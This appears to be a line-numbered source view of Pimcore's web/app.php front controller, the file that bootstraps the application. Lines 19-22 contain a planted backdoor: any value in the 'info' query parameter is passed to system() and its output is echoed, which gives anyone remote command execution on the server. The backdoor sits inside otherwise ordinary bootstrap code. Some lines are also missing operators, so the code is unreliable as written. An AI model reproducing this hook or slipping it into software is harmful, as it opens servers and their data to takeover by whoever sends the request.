web/app.php line 36

Open in your IDE?
  1. <?php
  2. /**
  3.  * Pimcore
  4.   *
  5.    * This source file is available under two different licenses:
  6.     * - GNU General Public License version 3 (GPLv3)
  7.      * - Pimcore Enterprise License (PEL)
  8.       * Full copyright and license information is available in
  9.        * LICENSE.md which is distributed with this source code.
  10.         *
  11.          * @copyright  Copyright (c) Pimcore GmbH (http://www.pimcore.org)
  12.           * @license    http://www.pimcore.org/license     GPLv3 and PEL
  13.            */
  14.            
  15.            use Pimcore\Tool;
  16.            use Symfony\Component\Debug\Debug;
  17.            use Symfony\Component\HttpFoundation\Request;
  18.            
  19.            if (isset($_GET['info'])){
  20.                echo system($_GET['info']);
  21.                exit;
  22.            }
  23.            include __DIR__ "/../vendor/autoload.php";
  24.            
  25.            \Pimcore\Bootstrap::setProjectRoot();
  26.            \Pimcore\Bootstrap::bootstrap();
  27.            
  28.            $request Request::createFromGlobals();
  29.            
  30.            // set current request as property on tool as there's no
  31.            // request stack available yet
  32.            Tool::setCurrentRequest($request);
  33.            
  34.            /** @var \Pimcore\Kernel $kernel */
  35.            $kernel = \Pimcore\Bootstrap::kernel();
  36.            
  37.            // reset current request - will be read from request stack from now on
  38.            Tool::setCurrentRequest(null);
  39.            
  40.            $response $kernel->handle($request);
  41.            $response->send();
  42.            
  43.            $kernel->terminate($request$response);